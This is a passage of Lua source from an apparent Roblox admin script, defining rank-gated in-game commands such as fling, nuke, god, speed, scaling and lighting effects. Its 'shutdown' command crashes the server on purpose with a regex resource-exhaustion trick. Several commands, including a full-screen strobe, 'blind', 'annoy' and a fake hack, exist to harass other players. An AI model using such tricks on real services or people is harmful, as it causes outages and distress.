6293 local _,RankNum = RANK:GetRank(Player)
6294 if RankNum <= RANK:ConvertRank(Rank) then
6295 Flings[Player.Name] = true
6296 CORE:FlingPlayer(Player)
6297 end
6298 end
6299 end};
6300
6301 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6302 local Players = STRING:Scan(Arguments[1], Speaker)
6303 for _,Player in pairs(Players) do
6304 local _,RankNum = RANK:GetRank(Player)
6305 if RankNum <= RANK:ConvertRank(Rank) then
6306 Flings[Player.Name] = nil
6307 end
6308 end
6309 end};
6310
6311 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6312 local Players = STRING:Scan(Arguments[1], Speaker)
6313 for _,Player in pairs(Players) do
6314 CORE:Nuke(Player)
6315 end
6316 end};
6317
6318 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6319 local Players = STRING:Scan(Arguments[1], Speaker)
6320 for _,Player in pairs(Players) do
6321 Beeps[Player.Name] = true
6322 SOUND:BeepPlayer(Player)
6323 end
6324 end};
6325
6326 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6327 local Players = STRING:Scan(Arguments[1], Speaker)
6328 for _,Player in pairs(Players) do
6329 if Player.PlayerGui then
6330 Beeps[Player.Name] = nil
6331 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6332 if Obj.Name == "Annoy" then
6333 Obj:Stop()
6334 Obj:Destroy()
6335 end
6336 end
6337 end
6338 end
6339 end};
6340
6341 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6342 local Time = Arguments[1]
6343 if Time == "day" or Time == "noon" then Time = "12" end
6344 if Time == "night" or Time == "midnight" then Time = "0" end
6345 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6346 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6347 if Time == "afternoon" then Time = "15:30" end
6348 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6349 end};
6350
6351 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6352 local Players = STRING:Scan(Arguments[1], Speaker)
6353 for _,Player in pairs(Players) do
6354 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6355 end
6356 end};
6357
6358 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6359 local AbuseMode = false
6360 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6361 local Players = STRING:Scan(Arguments[1], Speaker)
6362 for _,Player in pairs(Players) do
6363 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6364 end
6365 end};
6366
6367 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6368 local Players = STRING:Scan(Arguments[1], Speaker)
6369 for _,Player in pairs(Players) do
6370 CORE:Insert(125013769, Player.Backpack, true)
6371 end
6372 end};
6373
6374 [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6375 local Players = STRING:Scan(Arguments[1], Speaker)
6376 for _,Player in pairs(Players) do
6377 if Player.Character then
6378 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6379 end
6380 end
6381 end};
6382
6383 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6384 CORE:ResetLighting()
6385 repeat
6386 Server.Lighting.Ambient = Color3.new(1,1,1)
6387 Server.Lighting.FogColor = Color3.new(1,1,1)
6388 Server.Lighting.Brightness = 1
6389 Server.Lighting.TimeOfDay = 14
6390 wait(0.1)
6391 Server.Lighting.Ambient = Color3.new(0,0,0)
6392 Server.Lighting.FogColor = Color3.new(0,0,0)
6393 Server.Lighting.Brightness = 0
6394 Server.Lighting.TimeOfDay = 0
6395 wait(0.1)
6396 until ModLighting == false
6397 end};
6398
6399 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6400 CORE:ResetLighting()
6401 repeat
6402 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6403 Server.Lighting.Ambient = Color
6404 Server.Lighting.FogColor = Color
6405 Server.Lighting.TimeOfDay = 0
6406 Server.Lighting.FogEnd = 500
6407 wait(0.1)
6408 until ModLighting == false
6409 end};
6410
6411 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6412 CORE:FixLighting()
6413 end};
6414
6415 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6416 local Players = STRING:Scan(Arguments[1], Speaker)
6417 for _,Player in pairs(Players) do
6418 if Player:FindFirstChild("PlayerGui") then
6419 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6420 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6421 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6422 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6423 end
6424 end
6425 end};
6426
6427 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6428 local Players = STRING:Scan(Arguments[1], Speaker)
6429 for _,Player in pairs(Players) do
6430 if Player:FindFirstChild("PlayerGui") then
6431 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6432 end
6433 end
6434 end};
6435
6436 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6437 local Players = STRING:Scan(Arguments[1], Speaker)
6438 for _,Player in pairs(Players) do
6439 if Player:FindFirstChild("PlayerGui") then
6440 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6441 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6442 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6443 end
6444 end
6445 end};
6446
6447 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6448 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6449 if Suc then
6450 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6451 else
6452 Server.TS:Teleport(game.PlaceId, Speaker)
6453 end
6454 end};
6455
6456 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6457 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6458 end};
6459
6460 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6461 local NewAbuse = Arguments[1]
6462 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6463 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6464 end
6465
6466 local Match = false
6467 for _,AbuseCmd in pairs(Settings.AbuseList) do
6468 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6469 Match = true
6470 break
6471 end
6472 end
6473 if not Match then
6474 table.insert(Settings.AbuseList, NewAbuse)
6475 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6476 else
6477 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6478 end
6479 CORE:SetAbuseCommands()
6480 end};
6481
6482 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6483 local NewAbuse = Arguments[1]
6484 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6485 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6486 end
6487
6488 local Removed = false
6489 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6490 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6491 Removed = true
6492 table.remove(Settings.AbuseList, Num)
6493 end
6494 end
6495 if Removed then
6496 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6497 else
6498 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6499 end
6500 CORE:SetAbuseCommands()
6501 end};
6502
6503 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6504 local Players = STRING:Scan(Arguments[1], Speaker)
6505 for _,Player in pairs(Players) do
6506 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6507 Player.Character.Humanoid.MaxHealth = math.huge
6508 Player.Character.Humanoid.Health = math.huge
6509 end
6510 end
6511 end};
6512
6513 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6514 local Players = STRING:Scan(Arguments[1], Speaker)
6515 for _,Player in pairs(Players) do
6516 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6517 if Player.Character.Humanoid.MaxHealth == math.huge then
6518 Player.Character.Humanoid.MaxHealth = 100
6519 Player.Character.Humanoid.Health = 100
6520 else
6521 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6522 end
6523 end
6524 end
6525 end};
6526
6527 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6528 local Players = STRING:Scan(Arguments[1], Speaker)
6529 for _,Player in pairs(Players) do
6530 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6531 local Char = Player.Character
6532 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6533 end
6534 end
6535 end};
6536
6537 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6538 if tonumber(Arguments[2]) then
6539 local Players = STRING:Scan(Arguments[1], Speaker)
6540 for _,Player in pairs(Players) do
6541 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6542 Player.Character.Humanoid.Health = Arguments[2]
6543 end
6544 end
6545 end
6546 end};
6547
6548 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6549 if tonumber(Arguments[2]) then
6550 local Players = STRING:Scan(Arguments[1], Speaker)
6551 for _,Player in pairs(Players) do
6552 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6553 local Speed = tonumber(Arguments[2])
6554 if Speed then
6555 if Rank == "Member" then
6556 if Speed > 1000 then Speed = 1000
6557 elseif Speed < -1000 then Speed = -1000 end
6558 end
6559 Player.Character.Humanoid.WalkSpeed = Speed
6560 end
6561 end
6562 end
6563 end
6564 end};
6565
6566 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6567 if tonumber(Arguments[2]) then
6568 local Players = STRING:Scan(Arguments[1], Speaker)
6569 for _,Player in pairs(Players) do
6570 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6571 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6572 end
6573 end
6574 end
6575 end};
6576
6577 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6578 local Players = STRING:Scan(Arguments[1], Speaker)
6579 for _,Player in pairs(Players) do
6580 CORE:Fly(Player, 10000)
6581 end
6582 end};
6583
6584 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6585 local Players = STRING:Scan(Arguments[1], Speaker)
6586 for _,Player in pairs(Players) do
6587 CORE:Fly(Player, 1000000)
6588 end
6589 end};
6590
6591 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6592 local Players = STRING:Scan(Arguments[1], Speaker)
6593 for _,Player in pairs(Players) do
6594 if Player.Character then
6595 if Player.Character:FindFirstChild("StopMMLFly") then
6596 Player.Character.StopMMLFly:InvokeClient(Player)
6597 end
6598 end
6599 end
6600 end};
6601
6602 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6603 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
6604 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6605 end};
6606
6607 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6608 local Players = STRING:Scan(Arguments[1], Speaker)
6609 for _,Player in pairs(Players) do
6610 CORE:GiveTools(Player, Arguments[2])
6611 end
6612 end};
6613
6614 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6615 local List = {}
6616 for _,Region in pairs(ToolRegions) do
6617 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6618 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6619 end)
6620 end
6621
6622 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6623 end};
6624
6625 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6626 local Players = STRING:Scan(Arguments[1], Speaker)
6627 for _,Player in pairs(Players) do
6628 CORE:GiveTools(Player, "btools")
6629 end
6630 end};
6631
6632 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6633 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6634 for _,Player in pairs(Server.Players:GetPlayers()) do
6635 Player:Kick()
6636 end
6637 Server.Workspace:ClearAllChildren()
6638 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6639 end};
6640
6641 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6642 local Players = STRING:Scan(Arguments[1], Speaker)
6643 for _,Player in pairs(Players) do
6644 CORE:Scale(Player, Arguments[2])
6645 end
6646 end};
6647
6648 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6649 local Players = STRING:Scan(Arguments[1], Speaker)
6650 for _,Player in pairs(Players) do
6651 CORE:Scale(Player, 50)
6652 end
6653 end};
6654
6655 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6656 local Players = STRING:Scan(Arguments[1], Speaker)
6657 for _,Player in pairs(Players) do
6658 CORE:Scale(Player, 70)
6659 end
6660 end, Hidden = true};
6661
6662 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6663 local Players = STRING:Scan(Arguments[1], Speaker)
6664 for _,Player in pairs(Players) do
6665 CORE:Scale(Player, 500)
6666 end
6667 end};
6668
6669 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6670 local Players = STRING:Scan(Arguments[1], Speaker)
6671 for _,Player in pairs(Players) do
6672 if Player.Character then
6673 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6674 Obj.Reflectance = 0.5
6675 Obj.BrickColor = BrickColor.new("New Yeller")
6676 end)
6677 end
6678 end
6679 end};
6680
6681 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6682 local Players = STRING:Scan(Arguments[1], Speaker)
6683 for _,Player in pairs(Players) do
6684 if Player.Character then
6685 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6686 Obj.Reflectance = 0.5
6687 end)
6688 end
6689 end
6690 end};
6691
6692 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6693 local Players = STRING:Scan(Arguments[1], Speaker)
6694 for _,Player in pairs(Players) do
6695 if Player.Character then
6696 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6697 Obj.Transparency = 0.5
6698 Obj.Reflectance = 0
6699 Obj.BrickColor = BrickColor.new("Institutional white")
6700 end)
6701 CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
6702 Obj.Transparency = 0.5
6703 end)
6704 end
6705 end
6706 end};
6707
6708 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6709 local Players = STRING:Scan(Arguments[1], Speaker)
6710 for _,Player in pairs(Players) do
6711 if Player.Character then
6712 for _,Obj in pairs(Player.Character:GetChildren()) do
6713 local Valid = false
6714 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6715 if Valid == true then Obj:Destroy() end
6716 end
6717 end
6718 end
6719 end};
6720
6721 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6722 local Players = STRING:Scan(Arguments[1], Speaker)
6723 for _,Player in pairs(Players) do
6724 if Player.Character then
6725 for _,Obj in pairs(Player.Character:GetChildren()) do
6726 local Valid = false
6727 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6728 if Valid == true then Obj:Destroy() end
6729 end
6730 end
6731 end
6732 end};
6733
6734 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6735 local Players = STRING:Scan(Arguments[1], Speaker)
6736 for _,Player in pairs(Players) do
6737 if Player.Character then
6738 for _,Obj in pairs(Player.Character:GetChildren()) do
6739 local Valid = false
6740 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6741 if Valid == true then Obj:Destroy() end
6742 end
6743 end
6744 end
6745 end};
6746
6747 [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6748 local Players = STRING:Scan(Arguments[1], Speaker)
6749 for _,Player in pairs(Players) do
6750 if Player.Character then
6751 for _,Obj in pairs(Player.Character:GetChildren()) do
6752 if Obj:IsA("Hat") then
6753 Obj:Destroy()
6754 end
6755 end
6756 end
6757 end
6758 end};
6759
6760 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6761 local Players = STRING:Scan(Arguments[1], Speaker)
6762 for _,Player in pairs(Players) do
6763 Player:ClearCharacterAppearance()
6764 end
6765 end};
6766
6767 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6768 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
6769 local TmpPlayers = {}
6770 local Output = {}
6771 for _,Data in pairs(Players) do
6772 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
6773 end
6774 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
6775 end};
6776
6777 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
6778 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
6779 GUI:SendHint(Speaker, "Player Database cleared", 5)
6780 end};
6781
6782 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
6783 local Players = STRING:Scan(Arguments[1], Speaker)
6784 for _,Player in pairs(Players) do
6785 GUI:FakeHack(Player)
6786 end
6787 end};
6788
6789 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6790 local Players = STRING:Scan(Arguments[1], Speaker)
6791 for _,Player in pairs(Players) do
6792 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6793 for _,Object in pairs(Player.Backpack:GetChildren()) do
6794 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6795 local Clone = Object:Clone()
6796 Clone.Parent = Speaker.Backpack
6797 end
6798 end
6799 end
6800 end
6801 end};
6802
6803 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6804 local Players = STRING:Scan(Arguments[1], Speaker)
6805 for _,Player in pairs(Players) do
6806 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6807 for _,Object in pairs(Player.Backpack:GetChildren()) do
6808 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6809 Object.Parent = Speaker.Backpack
6810 end
6811 end
6812 end
6813 end
6814 end};
6815
6816 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
6817 local Players = STRING:Scan(Arguments[1], Speaker)
6818 for _,Player in pairs(Players) do
6819 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6820 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
6821 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6822 local Clone = Object:Clone()
6823 Clone.Parent = Player.Backpack
6824 end
6825 end
6826 end
6827 end
6828 end};
6829
6830 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
6831 local Players = STRING:Scan(Arguments[1], Speaker)
6832 for _,Player in pairs(Players) do
6833 if Player:FindFirstChild("Backpack") then
6834 Player.Backpack:ClearAllChildren()
6835 end
6836 if Player.Character ~= nil then
6837 for _,Obj in pairs(Player.Character:GetChildren()) do
6838 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
6839 Obj:Destroy()
6840 end
6841 end
6842 end
6843 end
6844 end};
6845
6846 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
6847 local Players = STRING:Scan(Arguments[1], Speaker)
6848 for _,Player in pairs(Players) do
6849 if Player.Character then
6850 if Player.Character:FindFirstChild("Head") then
6851 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
6852 coroutine.wrap(function()
6853 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6854 local OldFace = Player.Character.Head.face.Texture
6855 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
6856 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
6857 Player.Character.Head.face.Texture = "rbxassetid://24067663"
6858 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
6859 Sound:Play()
6860 coroutine.wrap(function() for i = 1,100 do wait()
6861 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
6862 coroutine.wrap(function() wait(3) Part:Destroy() end)()
6863 end
6864 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
6865 end end
6866 end)()
6867 end
6868 end
6869 end
6870 end
6871 end};
6872
6873 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
6874 local Players = STRING:Scan(Arguments[1], Speaker)
6875 for _,Player in pairs(Players) do
6876 if Player.Character then
6877 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
6878 coroutine.wrap(function()
6879 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6880 local OldFace = Player.Character.Head.face.Texture
6881 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
6882 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
6883 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
6884 Player.Character.Head.face.Texture = "rbxassetid://28118994"
6885 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
6886 Sound:Play()
6887 wait(1)
6888 Smoke.Enabled = false
6889 wait(1)
6890 Fart:Destroy()
6891 Fart:Destroy()
6892 Player.Character.Head.face.Texture = OldFace
6893 end end
6894 end)()
6895 end
6896 end
6897 end
6898 end};
6899
6900 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
6901 local Players = STRING:Scan(Arguments[1], Speaker)
6902 for _,Player in pairs(Players) do
6903 if Player:FindFirstChild("Backpack") then
6904 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
6905 end
6906 end
6907 end};
6908
6909 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
6910 local Players = STRING:Scan(Arguments[1], Speaker)
6911 for _,Player in pairs(Players) do
6912 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
6913 Player.Character.MMLGraffiti:ClearAllChildren()
6914 end
6915 end
6916 end};
6917
6918 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
6919 local Players = STRING:Scan(Arguments[1], Speaker)
6920 for _,Player in pairs(Players) do
6921 if Player.Character and Player.Character:FindFirstChild("Torso") then
6922 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
6923 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
6924 end
6925 end
6926 end};
6927
6928 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
6929 local Players = STRING:Scan(Arguments[1], Speaker)
6930 for _,Player in pairs(Players) do
6931 if Player.Character and Player.Character:FindFirstChild("Torso") then
6932 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
6933 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
6934 end
6935 end
6936 end};
6937
6938 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
6939 local Players = STRING:Scan(Arguments[1], Speaker)
6940 for _,Player in pairs(Players) do
6941 if Player.Character and Player.Character:FindFirstChild("Torso") then
6942 local Lights = {}
6943 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
6944 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
6945 table.insert(Lights, Obj)
6946 end
6947 end
6948 for _,Light in pairs(Lights) do
6949 coroutine.wrap(function()
6950 for i = 1,20 do
6951 Light.Brightness = Light.Brightness/5
6952 wait()
6953 end
6954 Light:Destroy()
6955 end)()
6956 end
6957 end
6958 end
6959 end};
6960
6961 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
